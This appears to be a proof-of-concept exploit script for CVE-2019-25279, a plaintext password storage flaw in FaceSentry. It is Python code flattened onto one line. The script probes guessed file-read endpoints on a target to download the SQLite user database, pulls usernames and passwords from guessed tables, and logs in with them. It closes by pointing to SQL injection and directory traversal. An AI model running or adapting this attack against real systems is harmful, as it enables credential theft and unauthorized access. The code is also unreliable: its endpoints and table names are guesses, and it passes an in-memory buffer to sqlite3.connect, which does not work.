CVE-2019-25279

# CVE-2019-25279 PoC - FaceSentry明文密码存储漏洞利用 # This PoC demonstrates accessing the SQLite database with plaintext credentials import requests import sqlite3 import io TARGET_URL = "http://target-ip:8080" DB_PATH = "/faceGuard/database/FaceSentryWeb.sqlite" def exploit_file_read(path): """Attempt to read arbitrary files from the system""" # Common endpoint for file read in FaceSentry endpoints = [ f"{TARGET_URL}/api/file/read?path={path}", f"{TARGET_URL}/file/download?filename={path}", f"{TARGET_URL}/admin/downloadDB" ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: return response.content except: continue return None def extract_credentials(db_content): """Extract plaintext credentials from SQLite database""" if not db_content: return [] credentials = [] try: conn = sqlite3.connect(io.BytesIO(db_content)) cursor = conn.cursor() # Try common table names for user credentials table_queries = [ "SELECT name, password FROM users", "SELECT username, pwd FROM user_table", "SELECT login, pass FROM accounts", "SELECT * FROM sqlite_master WHERE type='table'" ] for query in table_queries: try: cursor.execute(query) rows = cursor.fetchall() if rows: for row in rows: if len(row) >= 2: credentials.append({ 'username': row[0], 'password': row[1] }) except: continue conn.close() except Exception as e: print(f"Error extracting credentials: {e}") return credentials def login_with_credentials(username, password): """Attempt to login with extracted credentials""" login_url = f"{TARGET_URL}/api/login" data = { 'username': username, 'password': password } try: response = requests.post(login_url, json=data, timeout=10) if response.status_code == 200 and 'token' in response.text: return response.json() except: pass return None if __name__ == "__main__": print("[*] CVE-2019-25279 - FaceSentry Plaintext Password Storage") print("[*] Target:", TARGET_URL) # Step 1: Read the SQLite database print("\n[1] Attempting to read database file...") db_content = exploit_file_read(DB_PATH) if db_content: print("[+] Database file obtained successfully") # Step 2: Extract credentials print("\n[2] Extracting plaintext credentials...") creds = extract_credentials(db_content) if creds: print(f"[+] Found {len(creds)} credential(s):") for cred in creds: print(f" Username: {cred['username']}") print(f" Password: {cred['password']}") # Step 3: Verify credentials print("\n[3] Verifying credentials...") result = login_with_credentials(cred['username'], cred['password']) if result: print("[+] Login successful!") print(f" Token: {result.get('token', 'N/A')}") else: print("[-] No credentials found in database") else: print("[-] Failed to obtain database file") print("[*] Try alternative exploitation methods:") print(" - SQL Injection to extract database content") print(" - Directory traversal to access database file")

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